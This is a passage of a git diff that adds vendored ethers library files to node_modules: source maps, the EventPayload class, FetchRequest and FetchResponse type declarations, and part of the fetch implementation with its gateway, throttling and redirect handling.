+{"version":3,"file":"events.d.ts","sourceRoot":"","sources":["../../src.ts/utils/events.ts"],"names":[],"mappings":"AASA;;GAEG;AACH,MAAM,MAAM,QAAQ,GAAG,CAAC,GAAG,IAAI,EAAE,KAAK,CAAC,GAAG,CAAC,KAAK,IAAI,CAAC;AAErD;;;;;GAKG;AACH,MAAM,WAAW,gBAAgB,CAAC,CAAC;IAC/B;;;OAGG;IACH,EAAE,CAAC,KAAK,EAAE,CAAC,EAAE,QAAQ,EAAE,QAAQ,GAAG,OAAO,CAAC,IAAI,CAAC,CAAC;IAEhD;;;OAGG;IACH,IAAI,CAAC,KAAK,EAAE,CAAC,EAAE,QAAQ,EAAE,QAAQ,GAAG,OAAO,CAAC,IAAI,CAAC,CAAC;IAElD;;OAEG;IACH,IAAI,CAAC,KAAK,EAAE,CAAC,EAAE,GAAG,IAAI,EAAE,KAAK,CAAC,GAAG,CAAC,GAAG,OAAO,CAAC,OAAO,CAAC,CAAC;IAEtD;;OAEG;IACH,aAAa,CAAC,KAAK,CAAC,EAAE,CAAC,GAAG,OAAO,CAAC,MAAM,CAAC,CAAC;IAE1C;;OAEG;IACH,SAAS,CAAC,KAAK,CAAC,EAAE,CAAC,GAAG,OAAO,CAAC,KAAK,CAAC,QAAQ,CAAC,CAAC,CAAC;IAE/C;;;OAGG;IACH,GAAG,CAAC,KAAK,EAAE,CAAC,EAAE,QAAQ,CAAC,EAAE,QAAQ,GAAG,OAAO,CAAC,IAAI,CAAC,CAAC;IAElD;;OAEG;IACH,kBAAkB,CAAC,KAAK,CAAC,EAAE,CAAC,GAAG,OAAO,CAAC,IAAI,CAAC,CAAC;IAE7C;;OAEG;IACH,WAAW,CAAC,KAAK,EAAE,CAAC,EAAE,QAAQ,EAAE,QAAQ,GAAG,OAAO,CAAC,IAAI,CAAC,CAAC;IAEzD;;OAEG;IACH,cAAc,CAAC,KAAK,EAAE,CAAC,EAAE,QAAQ,EAAE,QAAQ,GAAG,OAAO,CAAC,IAAI,CAAC,CAAC;CAC/D;AAED;;;;GAIG;AACH,qBAAa,YAAY,CAAC,CAAC;;IACvB;;OAEG;IACH,QAAQ,CAAC,MAAM,EAAG,CAAC,CAAC;IAEpB;;OAEG;IACH,QAAQ,CAAC,OAAO,EAAG,gBAAgB,CAAC,CAAC,CAAC,CAAC;IAIvC;;;OAGG;gBACS,OAAO,EAAE,gBAAgB,CAAC,CAAC,CAAC,EAAE,QAAQ,EAAE,IAAI,GAAG,QAAQ,EAAE,MAAM,EAAE,CAAC;IAK9E;;OAEG;IACG,cAAc,IAAI,OAAO,CAAC,IAAI,CAAC;CAIxC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/utils/events.js b/node_modules/ethers/lib.esm/utils/events.js new file mode 100644 index 000000000000..41ca7272ab10 --- /dev/null +++ b/node_modules/ethers/lib.esm/utils/events.js @@ -0,0 +1,42 @@ +/** + * Events allow for applications to use the observer pattern, which + * allows subscribing and publishing events, outside the normal + * execution paths. + * + * @_section api/utils/events:Events [about-events] + */ +import { defineProperties } from "./properties.js"; +/** + * When an [[EventEmitterable]] triggers a [[Listener]], the + * callback always ahas one additional argument passed, which is + * an **EventPayload**. + */ +export class EventPayload { + /** + * The event filter. + */ + filter; + /** + * The **EventEmitterable**. + */ + emitter; + #listener; + /** + * Create a new **EventPayload** for %%emitter%% with + * the %%listener%% and for %%filter%%. + */ + constructor(emitter, listener, filter) { + this.#listener = listener; + defineProperties(this, { emitter, filter }); + } + /** + * Unregister the triggered listener for future events. + */ + async removeListener() { + if (this.#listener == null) { + return; + } + await this.emitter.off(this.filter, this.#listener); + } +} +//# sourceMappingURL=events.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/utils/events.js.map b/node_modules/ethers/lib.esm/utils/events.js.map new file mode 100644 index 000000000000..fc78d150b94d --- /dev/null +++ b/node_modules/ethers/lib.esm/utils/events.js.map @@ -0,0 +1 @@ +{"version":3,"file":"events.js","sourceRoot":"","sources":["../../src.ts/utils/events.ts"],"names":[],"mappings":"AAAA;;;;;;GAMG;AACH,OAAO,EAAE,gBAAgB,EAAE,MAAM,iBAAiB,CAAC;AA+DnD;;;;GAIG;AACH,MAAM,OAAO,YAAY;IACrB;;OAEG;IACM,MAAM,CAAK;IAEpB;;OAEG;IACM,OAAO,CAAuB;IAE9B,SAAS,CAAkB;IAEpC;;;OAGG;IACH,YAAY,OAA4B,EAAE,QAAyB,EAAE,MAAS;QAC1E,IAAI,CAAC,SAAS,GAAG,QAAQ,CAAC;QAC1B,gBAAgB,CAAoB,IAAI,EAAE,EAAE,OAAO,EAAE,MAAM,EAAE,CAAC,CAAC;IACnE,CAAC;IAED;;OAEG;IACH,KAAK,CAAC,cAAc;QAChB,IAAI,IAAI,CAAC,SAAS,IAAI,IAAI,EAAE;YAAE,OAAO;SAAE;QACvC,MAAM,IAAI,CAAC,OAAO,CAAC,GAAG,CAAC,IAAI,CAAC,MAAM,EAAE,IAAI,CAAC,SAAS,CAAC,CAAC;IACxD,CAAC;CACJ"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/utils/fetch.d.ts b/node_modules/ethers/lib.esm/utils/fetch.d.ts new file mode 100644 index 000000000000..d12579280792 --- /dev/null +++ b/node_modules/ethers/lib.esm/utils/fetch.d.ts @@ -0,0 +1,363 @@ +/** + * An environment's implementation of ``getUrl`` must return this type. + */ +export type GetUrlResponse = { + statusCode: number; + statusMessage: string; + headers: Record; + body: null | Uint8Array; +}; +/** + * This can be used to control how throttling is handled in + * [[FetchRequest-setThrottleParams]]. + */ +export type FetchThrottleParams = { + maxAttempts?: number; + slotInterval?: number; +}; +/** + * Called before any network request, allowing updated headers (e.g. Bearer tokens), etc. + */ +export type FetchPreflightFunc = (req: FetchRequest) => Promise; +/** + * Called on the response, allowing client-based throttling logic or post-processing. + */ +export type FetchProcessFunc = (req: FetchRequest, resp: FetchResponse) => Promise; +/** + * Called prior to each retry; return true to retry, false to abort. + */ +export type FetchRetryFunc = (req: FetchRequest, resp: FetchResponse, attempt: number) => Promise; +/** + * Called on Gateway URLs. + */ +export type FetchGatewayFunc = (url: string, signal?: FetchCancelSignal) => Promise; +/** + * Used to perform a fetch; use this to override the underlying network + * fetch layer. In NodeJS, the default uses the "http" and "https" libraries + * and in the browser ``fetch`` is used. If you wish to use Axios, this is + * how you would register it. + */ +export type FetchGetUrlFunc = (req: FetchRequest, signal?: FetchCancelSignal) => Promise; +/** + * @_ignore + */ +export declare class FetchCancelSignal { + #private; + constructor(request: FetchRequest); + addListener(listener: () => void): void; + get cancelled(): boolean; + checkSignal(): void; +} +/** + * Represents a request for a resource using a URI. + * + * By default, the supported schemes are ``HTTP``, ``HTTPS``, ``data:``, + * and ``IPFS:``. + * + * Additional schemes can be added globally using [[registerGateway]]. + * + * @example: + * req = new FetchRequest("https://www.ricmoo.com") + * resp = await req.send() + * resp.body.length + * //_result: + */ +export declare class FetchRequest implements Iterable<[key: string, value: string]> { + #private; + /** + * The fetch URL to request. + */ + get url(): string; + set url(url: string); + /** + * The fetch body, if any, to send as the request body. //(default: null)// + * + * When setting a body, the intrinsic ``Content-Type`` is automatically + * set and will be used if **not overridden** by setting a custom + * header. + * + * If %%body%% is null, the body is cleared (along with the + * intrinsic ``Content-Type``). + * + * If %%body%% is a string, the intrinsic ``Content-Type`` is set to + * ``text/plain``. + * + * If %%body%% is a Uint8Array, the intrinsic ``Content-Type`` is set to + * ``application/octet-stream``. + * + * If %%body%% is any other object, the intrinsic ``Content-Type`` is + * set to ``application/json``. + */ + get body(): null | Uint8Array; + set body(body: null | string | Readonly | Readonly); + /** + * Returns true if the request has a body. + */ + hasBody(): this is (FetchRequest & { + body: Uint8Array; + }); + /** + * The HTTP method to use when requesting the URI. If no method + * has been explicitly set, then ``GET`` is used if the body is + * null and ``POST`` otherwise. + */ + get method(): string; + set method(method: null | string); + /** + * The headers that will be used when requesting the URI. All + * keys are lower-case. + * + * This object is a copy, so any changes will **NOT** be reflected + * in the ``FetchRequest``. + * + * To set a header entry, use the ``setHeader`` method. + */ + get headers(): Record; + /** + * Get the header for %%key%%, ignoring case. + */ + getHeader(key: string): string; + /** + * Set the header for %%key%% to %%value%%. All values are coerced + * to a string. + */ + setHeader(key: string, value: string | number): void; + /** + * Clear all headers, resetting all intrinsic headers. + */ + clearHeaders(): void; + [Symbol.iterator](): Iterator<[key: string, value: string]>; + /** + * The value that will be sent for the ``Authorization`` header. + * + * To set the credentials, use the ``setCredentials`` method. + */ + get credentials(): null | string; + /** + * Sets an ``Authorization`` for %%username%% with %%password%%. + */ + setCredentials(username: string, password: string): void; + /** + * Enable and request gzip-encoded responses. The response will + * automatically be decompressed. //(default: true)// + */ + get allowGzip(): boolean; + set allowGzip(value: boolean); + /** + * Allow ``Authentication`` credentials to be sent over insecure + * channels. //(default: false)// + */ + get allowInsecureAuthentication(): boolean; + set allowInsecureAuthentication(value: boolean); + /** + * The timeout (in milliseconds) to wait for a complete response. + * //(default: 5 minutes)// + */ + get timeout(): number; + set timeout(timeout: number); + /** + * This function is called prior to each request, for example + * during a redirection or retry in case of server throttling. + * + * This offers an opportunity to populate headers or update + * content before sending a request. + */ + get preflightFunc(): null | FetchPreflightFunc; + set preflightFunc(preflight: null | FetchPreflightFunc); + /** + * This function is called after each response, offering an + * opportunity to provide client-level throttling or updating + * response data. + * + * Any error thrown in this causes the ``send()`` to throw. + * + * To schedule a retry attempt (assuming the maximum retry limit + * has not been reached), use [[response.throwThrottleError]]. + */ + get processFunc(): null | FetchProcessFunc; + set processFunc(process: null | FetchProcessFunc); + /** + * This function is called on each retry attempt. + */ + get retryFunc(): null | FetchRetryFunc; + set retryFunc(retry: null | FetchRetryFunc); + /** + * This function is called to fetch content from HTTP and + * HTTPS URLs and is platform specific (e.g. nodejs vs + * browsers). + * + * This is by default the currently registered global getUrl + * function, which can be changed using [[registerGetUrl]]. + * If this has been set, setting is to ``null`` will cause + * this FetchRequest (and any future clones) to revert back to + * using the currently registered global getUrl function. + * + * Setting this is generally not necessary, but may be useful + * for developers that wish to intercept requests or to + * configurege a proxy or other agent. + */ + get getUrlFunc(): FetchGetUrlFunc; + set getUrlFunc(value: null | FetchGetUrlFunc); + /** + * Create a new FetchRequest instance with default values. + * + * Once created, each property may be set before issuing a + * ``.send()`` to make the request. + */ + constructor(url: string); + toString(): string; + /** + * Update the throttle parameters used to determine maximum + * attempts and exponential-backoff properties. + */ + setThrottleParams(params: FetchThrottleParams): void; + /** + * Resolves to the response by sending the request. + */ + send(): Promise; + /** + * Cancels the inflight response, causing a ``CANCELLED`` + * error to be rejected from the [[send]]. + */ + cancel(): void; + /** + * Returns a new [[FetchRequest]] that represents the redirection + * to %%location%%. + */ + redirect(location: string): FetchRequest; + /** + * Create a new copy of this request. + */ + clone(): FetchRequest; + /** + * Locks all static configuration for gateways and FetchGetUrlFunc + * registration. + */ + static lockConfig(): void; + /** + * Get the current Gateway function for %%scheme%%. + */ + static getGateway(scheme: string): null | FetchGatewayFunc; + /** + * Use the %%func%% when fetching URIs using %%scheme%%. + * + * This method affects all requests globally. + * + * If [[lockConfig]] has been called, no change is made and this + * throws. + */ + static registerGateway(scheme: string, func: FetchGatewayFunc): void; + /** + * Use %%getUrl%% when fetching URIs over HTTP and HTTPS requests. + * + * This method affects all requests globally. + * + * If [[lockConfig]] has been called, no change is made and this + * throws. + */ + static registerGetUrl(getUrl: FetchGetUrlFunc): void; + /** + * Creates a getUrl function that fetches content from HTTP and + * HTTPS URLs. + * + * The available %%options%% are dependent on the platform + * implementation of the default getUrl function. + * + * This is not generally something that is needed, but is useful + * when trying to customize simple behaviour when fetching HTTP + * content. + */ + static createGetUrlFunc(options?: Record): FetchGetUrlFunc; + /** + * Creates a function that can "fetch" data URIs. + * + * Note that this is automatically done internally to support + * data URIs, so it is not necessary to register it. + * + * This is not generally something that is needed, but may + * be useful in a wrapper to perfom custom data URI functionality. + */ + static createDataGateway(): FetchGatewayFunc; + /** + * Creates a function that will fetch IPFS (unvalidated) from + * a custom gateway baseUrl. + * + * The default IPFS gateway used internally is + * ``"https:/\/gateway.ipfs.io/ipfs/"``. + */ + static createIpfsGatewayFunc(baseUrl: string): FetchGatewayFunc; +} +/** + * The response for a FetchRequest. + */ +export declare class FetchResponse implements Iterable<[key: string, value: string]> { + #private; + toString(): string; + /** + * The response status code. + */ + get statusCode(): number; + /** + * The response status message. + */ + get statusMessage(): string; + /** + * The response headers. All keys are lower-case. + */ + get headers(): Record; + /** + * The response body, or ``null`` if there was no body. + */ + get body(): null | Readonly; + /** + * The response body as a UTF-8 encoded string, or the empty + * string (i.e. ``""``) if there was no body. + * + * An error is thrown if the body is invalid UTF-8 data. + */ + get bodyText(): string; + /** + * The response body, decoded as JSON. + * + * An error is thrown if the body is invalid JSON-encoded data + * or if there was no body. + */ + get bodyJson(): any; + [Symbol.iterator](): Iterator<[key: string, value: string]>; + constructor(statusCode: number, statusMessage: string, headers: Readonly>, body: null | Uint8Array, request?: FetchRequest); + /** + * Return a Response with matching headers and body, but with + * an error status code (i.e. 599) and %%message%% with an + * optional %%error%%. + */ + makeServerError(message?: string, error?: Error): FetchResponse; + /** + * If called within a [request.processFunc](FetchRequest-processFunc) + * call, causes the request to retry as if throttled for %%stall%% + * milliseconds. + */ + throwThrottleError(message?: string, stall?: number): never; + /** + * Get the header value for %%key%%, ignoring case. + */ + getHeader(key: string): string; + /** + * Returns true if the response has a body. + */ + hasBody(): this is (FetchResponse & { + body: Uint8Array; + }); + /** + * The request made for this response. + */ + get request(): null | FetchRequest; + /** + * Returns true if this response was a success statusCode. + */ + ok(): boolean; + /** + * Throws a ``SERVER_ERROR`` if this response is not ok. + */ + assertOk(): void; +} +//# sourceMappingURL=fetch.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/utils/fetch.d.ts.map b/node_modules/ethers/lib.esm/utils/fetch.d.ts.map new file mode 100644 index 000000000000..cfc7bf062f15 --- /dev/null +++ b/node_modules/ethers/lib.esm/utils/fetch.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"fetch.d.ts","sourceRoot":"","sources":["../../src.ts/utils/fetch.ts"],"names":[],"mappings":"AA2BA;;GAEG;AACH,MAAM,MAAM,cAAc,GAAG;IACzB,UAAU,EAAE,MAAM,CAAC;IACnB,aAAa,EAAE,MAAM,CAAC;IACtB,OAAO,EAAE,MAAM,CAAC,MAAM,EAAE,MAAM,CAAC,CAAC;IAChC,IAAI,EAAE,IAAI,GAAG,UAAU,CAAA;CAC1B,CAAC;AAEF;;;GAGG;AACH,MAAM,MAAM,mBAAmB,GAAG;IAC9B,WAAW,CAAC,EAAE,MAAM,CAAC;IACrB,YAAY,CAAC,EAAE,MAAM,CAAC;CACzB,CAAC;AAEF;;GAEG;AACH,MAAM,MAAM,kBAAkB,GAAG,CAAC,GAAG,EAAE,YAAY,KAAK,OAAO,CAAC,YAAY,CAAC,CAAC;AAE9E;;GAEG;AACH,MAAM,MAAM,gBAAgB,GAAG,CAAC,GAAG,EAAE,YAAY,EAAE,IAAI,EAAE,aAAa,KAAK,OAAO,CAAC,a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.esm/utils/fetch.js b/node_modules/ethers/lib.esm/utils/fetch.js new file mode 100644 index 000000000000..650ef5d380ec --- /dev/null +++ b/node_modules/ethers/lib.esm/utils/fetch.js @@ -0,0 +1,852 @@ +/** + * Fetching content from the web is environment-specific, so Ethers + * provides an abstraction that each environment can implement to provide + * this service. + * + * On [Node.js](link-node), the ``http`` and ``https`` libs are used to + * create a request object, register event listeners and process data + * and populate the [[FetchResponse]]. + * + * In a browser, the [DOM fetch](link-js-fetch) is used, and the resulting + * ``Promise`` is waited on to retrieve the payload. + * + * The [[FetchRequest]] is responsible for handling many common situations, + * such as redirects, server throttling, authentication, etc. + * + * It also handles common gateways, such as IPFS and data URIs. + * + * @_section api/utils/fetching:Fetching Web Content [about-fetch] + */ +import { decodeBase64, encodeBase64 } from "./base64.js"; +import { hexlify } from "./data.js"; +import { assert, assertArgument } from "./errors.js"; +import { defineProperties } from "./properties.js"; +import { toUtf8Bytes, toUtf8String } from "./utf8.js"; +import { createGetUrl } from "./geturl.js"; +const MAX_ATTEMPTS = 12; +const SLOT_INTERVAL = 250; +// The global FetchGetUrlFunc implementation. +let defaultGetUrlFunc = createGetUrl(); +const reData = new RegExp("^data:([^;:]*)?(;base64)?,(.*)$", "i"); +const reIpfs = new RegExp("^ipfs:/\/(ipfs/)?(.*)$", "i"); +// If locked, new Gateways cannot be added +let locked = false; +// https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/Data_URLs +async function dataGatewayFunc(url, signal) { + try { + const match = url.match(reData); + if (!match) { + throw new Error("invalid data"); + } + return new FetchResponse(200, "OK", { + "content-type": (match[1] || "text/plain"), + }, (match[2] ? decodeBase64(match[3]) : unpercent(match[3]))); + } + catch (error) { + return new FetchResponse(599, "BAD REQUEST (invalid data: URI)", {}, null, new FetchRequest(url)); + } +} +/** + * Returns a [[FetchGatewayFunc]] for fetching content from a standard + * IPFS gateway hosted at %%baseUrl%%. + */ +function getIpfsGatewayFunc(baseUrl) { + async function gatewayIpfs(url, signal) { + try { + const match = url.match(reIpfs); + if (!match) { + throw new Error("invalid link"); + } + return new FetchRequest(`${baseUrl}${match[2]}`); + } + catch (error) { + return new FetchResponse(599, "BAD REQUEST (invalid IPFS URI)", {}, null, new FetchRequest(url)); + } + } + return gatewayIpfs; +} +const Gateways = { + "data": dataGatewayFunc, + "ipfs": getIpfsGatewayFunc("https:/\/gateway.ipfs.io/ipfs/") +}; +const fetchSignals = new WeakMap(); +/** + * @_ignore + */ +export class FetchCancelSignal { + #listeners; + #cancelled; + constructor(request) { + this.#listeners = []; + this.#cancelled = false; + fetchSignals.set(request, () => { + if (this.#cancelled) { + return; + } + this.#cancelled = true; + for (const listener of this.#listeners) { + setTimeout(() => { listener(); }, 0); + } + this.#listeners = []; + }); + } + addListener(listener) { + assert(!this.#cancelled, "singal already cancelled", "UNSUPPORTED_OPERATION", { + operation: "fetchCancelSignal.addCancelListener" + }); + this.#listeners.push(listener); + } + get cancelled() { return this.#cancelled; } + checkSignal() { + assert(!this.cancelled, "cancelled", "CANCELLED", {}); + } +} +// Check the signal, throwing if it is cancelled +function checkSignal(signal) { + if (signal == null) { + throw new Error("missing signal; should not happen"); + } + signal.checkSignal(); + return signal; +} +/** + * Represents a request for a resource using a URI. + * + * By default, the supported schemes are ``HTTP``, ``HTTPS``, ``data:``, + * and ``IPFS:``. + * + * Additional schemes can be added globally using [[registerGateway]]. + * + * @example: + * req = new FetchRequest("https://www.ricmoo.com") + * resp = await req.send() + * resp.body.length + * //_result: + */ +export class FetchRequest { + #allowInsecure; + #gzip; + #headers; + #method; + #timeout; + #url; + #body; + #bodyType; + #creds; + // Hooks + #preflight; + #process; + #retry; + #signal; + #throttle; + #getUrlFunc; + /** + * The fetch URL to request. + */ + get url() { return this.#url; } + set url(url) { + this.#url = String(url); + } + /** + * The fetch body, if any, to send as the request body. //(default: null)// + * + * When setting a body, the intrinsic ``Content-Type`` is automatically + * set and will be used if **not overridden** by setting a custom + * header. + * + * If %%body%% is null, the body is cleared (along with the + * intrinsic ``Content-Type``). + * + * If %%body%% is a string, the intrinsic ``Content-Type`` is set to + * ``text/plain``. + * + * If %%body%% is a Uint8Array, the intrinsic ``Content-Type`` is set to + * ``application/octet-stream``. + * + * If %%body%% is any other object, the intrinsic ``Content-Type`` is + * set to ``application/json``. + */ + get body() { + if (this.#body == null) { + return null; + } + return new Uint8Array(this.#body); + } + set body(body) { + if (body == null) { + this.#body = undefined; + this.#bodyType = undefined; + } + else if (typeof (body) === "string") { + this.#body = toUtf8Bytes(body); + this.#bodyType = "text/plain"; + } + else if (body instanceof Uint8Array) { + this.#body = body; + this.#bodyType = "application/octet-stream"; + } + else if (typeof (body) === "object") { + this.#body = toUtf8Bytes(JSON.stringify(body)); + this.#bodyType = "application/json"; + } + else { + throw new Error("invalid body"); + } + } + /** + * Returns true if the request has a body. + */ + hasBody() { + return (this.#body != null); + } + /** + * The HTTP method to use when requesting the URI. If no method + * has been explicitly set, then ``GET`` is used if the body is + * null and ``POST`` otherwise. + */ + get method() { + if (this.#method) { + return this.#method; + } + if (this.hasBody()) { + return "POST"; + } + return "GET"; + } + set method(method) { + if (method == null) { + method = ""; + } + this.#method = String(method).toUpperCase(); + } + /** + * The headers that will be used when requesting the URI. All + * keys are lower-case. + * + * This object is a copy, so any changes will **NOT** be reflected + * in the ``FetchRequest``. + * + * To set a header entry, use the ``setHeader`` method. + */ + get headers() { + const headers = Object.assign({}, this.#headers); + if (this.#creds) { + headers["authorization"] = `Basic ${encodeBase64(toUtf8Bytes(this.#creds))}`; + } + ; + if (this.allowGzip) { + headers["accept-encoding"] = "gzip"; + } + if (headers["content-type"] == null && this.#bodyType) { + headers["content-type"] = this.#bodyType; + } + if (this.body) { + headers["content-length"] = String(this.body.length); + } + return headers; + } + /** + * Get the header for %%key%%, ignoring case. + */ + getHeader(key) { + return this.headers[key.toLowerCase()]; + } + /** + * Set the header for %%key%% to %%value%%. All values are coerced + * to a string. + */ + setHeader(key, value) { + this.#headers[String(key).toLowerCase()] = String(value); + } + /** + * Clear all headers, resetting all intrinsic headers. + */ + clearHeaders() { + this.#headers = {}; + } + [Symbol.iterator]() { + const headers = this.headers; + const keys = Object.keys(headers); + let index = 0; + return { + next: () => { + if (index < keys.length) { + const key = keys[index++]; + return { + value: [key, headers[key]], done: false + }; + } + return { value: undefined, done: true }; + } + }; + } + /** + * The value that will be sent for the ``Authorization`` header. + * + * To set the credentials, use the ``setCredentials`` method. + */ + get credentials() { + return this.#creds || null; + } + /** + * Sets an ``Authorization`` for %%username%% with %%password%%. + */ + setCredentials(username, password) { + assertArgument(!username.match(/:/), "invalid basic authentication username", "username", "[REDACTED]"); + this.#creds = `${username}:${password}`; + } + /** + * Enable and request gzip-encoded responses. The response will + * automatically be decompressed. //(default: true)// + */ + get allowGzip() { + return this.#gzip; + } + set allowGzip(value) { + this.#gzip = !!value; + } + /** + * Allow ``Authentication`` credentials to be sent over insecure + * channels. //(default: false)// + */ + get allowInsecureAuthentication() { + return !!this.#allowInsecure; + } + set allowInsecureAuthentication(value) { + this.#allowInsecure = !!value; + } + /** + * The timeout (in milliseconds) to wait for a complete response. + * //(default: 5 minutes)// + */ + get timeout() { return this.#timeout; } + set timeout(timeout) { + assertArgument(timeout >= 0, "timeout must be non-zero", "timeout", timeout); + this.#timeout = timeout; + } + /** + * This function is called prior to each request, for example + * during a redirection or retry in case of server throttling. + * + * This offers an opportunity to populate headers or update + * content before sending a request. + */ + get preflightFunc() { + return this.#preflight || null; + } + set preflightFunc(preflight) { + this.#preflight = preflight; + } + /** + * This function is called after each response, offering an + * opportunity to provide client-level throttling or updating + * response data. + * + * Any error thrown in this causes the ``send()`` to throw. + * + * To schedule a retry attempt (assuming the maximum retry limit + * has not been reached), use [[response.throwThrottleError]]. + */ + get processFunc() { + return this.#process || null; + } + set processFunc(process) { + this.#process = process; + } + /** + * This function is called on each retry attempt. + */ + get retryFunc() { + return this.#retry || null; + } + set retryFunc(retry) { + this.#retry = retry; + } + /** + * This function is called to fetch content from HTTP and + * HTTPS URLs and is platform specific (e.g. nodejs vs + * browsers). + * + * This is by default the currently registered global getUrl + * function, which can be changed using [[registerGetUrl]]. + * If this has been set, setting is to ``null`` will cause + * this FetchRequest (and any future clones) to revert back to + * using the currently registered global getUrl function. + * + * Setting this is generally not necessary, but may be useful + * for developers that wish to intercept requests or to + * configurege a proxy or other agent. + */ + get getUrlFunc() { + return this.#getUrlFunc || defaultGetUrlFunc; + } + set getUrlFunc(value) { + this.#getUrlFunc = value; + } + /** + * Create a new FetchRequest instance with default values. + * + * Once created, each property may be set before issuing a + * ``.send()`` to make the request. + */ + constructor(url) { + this.#url = String(url); + this.#allowInsecure = false; + this.#gzip = true; + this.#headers = {}; + this.#method = ""; + this.#timeout = 300000; + this.#throttle = { + slotInterval: SLOT_INTERVAL, + maxAttempts: MAX_ATTEMPTS + }; + this.#getUrlFunc = null; + } + toString() { + return ``; + } + /** + * Update the throttle parameters used to determine maximum + * attempts and exponential-backoff properties. + */ + setThrottleParams(params) { + if (params.slotInterval != null) { + this.#throttle.slotInterval = params.slotInterval; + } + if (params.maxAttempts != null) { + this.#throttle.maxAttempts = params.maxAttempts; + } + } + async #send(attempt, expires, delay, _request, _response) { + if (attempt >= this.#throttle.maxAttempts) { + return _response.makeServerError("exceeded maximum retry limit"); + } + assert(getTime() <= expires, "timeout", "TIMEOUT", { + operation: "request.send", reason: "timeout", request: _request + }); + if (delay > 0) { + await wait(delay); + } + let req = this.clone(); + const scheme = (req.url.split(":")[0] || "").toLowerCase(); + // Process any Gateways + if (scheme in Gateways) { + const result = await Gateways[scheme](req.url, checkSignal(_request.#signal)); + if (result instanceof FetchResponse) { + let response = result; + if (this.processFunc) { + checkSignal(_request.#signal); + try { + response = await this.processFunc(req, response); + } + catch (error) { + // Something went wrong during processing; throw a 5xx server error + if (error.throttle == null || typeof (error.stall) !== "number") { + response.makeServerError("error in post-processing function", error).assertOk(); + } + // Ignore throttling + } + } + return response; + } + req = result; + } + // We have a preflight function; update the request + if (this.preflightFunc) { + req = await this.preflightFunc(req); + } + const resp = await this.getUrlFunc(req, checkSignal(_request.#signal)); + let response = new FetchResponse(resp.statusCode, resp.statusMessage, resp.headers, resp.body, _request); + if (response.statusCode === 301 || response.statusCode === 302) { + // Redirect + try { + const location = response.headers.location || ""; + return req.redirect(location).#send(attempt + 1, expires, 0, _request, response); + } + catch (error) { } + // Things won't get any better on another attempt; abort + return response; + } + else if (response.statusCode === 429) { + // Throttle + if (this.retryFunc == null || (await this.retryFunc(req, response, attempt))) { + const retryAfter = response.headers["retry-after"]; + let delay = this.#throttle.slotInterval * Math.trunc(Math.random() * Math.pow(2, attempt)); + if (typeof (retryAfter) === "string" && retryAfter.match(/^[1-9][0-9]*$/)) { + delay = parseInt(retryAfter); + } + return req.clone().#send(attempt + 1, expires, delay, _request, response); + } + } + if (this.processFunc) { + checkSignal(_request.#signal); + try { + response = await this.processFunc(req, response); + } + catch (error) { + // Something went wrong during processing; throw a 5xx server error + if (error.throttle == null || typeof (error.stall) !== "number") { + response.makeServerError("error in post-processing function", error).assertOk(); + } + // Throttle + let delay = this.#throttle.slotInterval * Math.trunc(Math.random() * Math.pow(2, attempt)); + ; + if (error.stall >= 0) { + delay = error.stall; + } + return req.clone().#send(attempt + 1, expires, delay, _request, response); + } + } + return response; + } + /** + * Resolves to the response by sending the request. + */ + send() { + assert(this.#signal == null, "request already sent", "UNSUPPORTED_OPERATION", { operation: "fetchRequest.send" }); + this.#signal = new FetchCancelSignal(this); + return this.#send(0, getTime() + this.timeout, 0, this, new FetchResponse(0, "", {}, null, this)); + } + /** + * Cancels the inflight response, causing a ``CANCELLED`` + * error to be rejected from the [[send]]. + */ + cancel() { + assert(this.#signal != null, "request has not been sent", "UNSUPPORTED_OPERATION", { operation: "fetchRequest.cancel" }); + const signal = fetchSignals.get(this); + if (!signal) { + throw new Error("missing signal; should not happen"); + } + signal(); + } + /** + * Returns a new [[FetchRequest]] that represents the redirection + * to %%location%%. + */ + redirect(location) { + // Redirection; for now we only support absolute locations + const current = this.url.split(":")[0].toLowerCase(); + const target = location.split(":")[0].toLowerCase(); + // Don't allow redirecting: + // - non-GET requests + // - downgrading the security (e.g. https => http) + // - to non-HTTP (or non-HTTPS) protocols [this could be relaxed?] + assert(this.method === "GET" && (current !== "https" || target !== "http") && location.match(/^https?:/), `unsupported redirect`, "UNSUPPORTED_OPERATION", { + operation: `redirect(${this.method} ${JSON.stringify(this.url)} => ${JSON.stringify(location)})` + }); + // Create a copy of this request, with a new URL + const req = new FetchRequest(location); + req.method = "GET"; + req.allowGzip = this.allowGzip; + req.timeout = this.timeout; + req.#headers = Object.assign({}, this.#headers); + if (this.#body) { + req.#body = new Uint8Array(this.#body); + } + req.#bodyType = this.#bodyType; + // Do not forward credentials unless on the same domain; only absolute + //req.allowInsecure = false; + // paths are currently supported; may want a way to specify to forward? + //setStore(req.#props, "creds", getStore(this.#pros, "creds")); + return req; + } + /** + * Create a new copy of this request. + */ + clone() { + const clone = new FetchRequest(this.url); + // Preserve "default method" (i.e. null) + clone.#method = this.#method; + // Preserve "default body" with type, copying the Uint8Array is present + if (this.#body) { + clone.#body = this.#body; + } + clone.#bodyType = this.#bodyType; + // Preserve "default headers" + clone.#headers = Object.assign({}, this.#headers); + // Credentials is readonly, so we copy internally + clone.#creds = this.#creds; + if (this.allowGzip) { + clone.allowGzip = true; + } + clone.timeout = this.timeout; + if (this.allowInsecureAuthentication) { + clone.allowInsecureAuthentication = true; + } + clone.#preflight = this.#preflight; + clone.#process = this.#process; + clone.#retry = this.#retry; + clone.#throttle = Object.assign({}, this.#throttle); + clone.#getUrlFunc = this.#getUrlFunc; + return clone; + } + /** + * Locks all static configuration for gateways and FetchGetUrlFunc + * registration. + */ + static lockConfig() { + locked = true; + } + /** + * Get the current Gateway function for %%scheme%%. + */ + static getGateway(scheme) { + return Gateways[scheme.toLowerCase()] || null; + } + /** + * Use the %%func%% when fetching URIs using %%scheme%%. + * + * This method affects all requests globally. + * + * If [[lockConfig]] has been called, no change is made and this + * throws. + */ + static registerGateway(scheme, func) { + scheme = scheme.toLowerCase(); + if (scheme === "http" || scheme === "https") { + throw new Error(`cannot intercept ${scheme}; use registerGetUrl`); + } + if (locked) { + throw new Error("gateways locked"); + } + Gateways[scheme] = func; + } + /** + * Use %%getUrl%% when fetching URIs over HTTP and HTTPS requests. + * + * This method affects all requests globally. + * + * If [[lockConfig]] has been called, no change is made and this + * throws. + */ + static 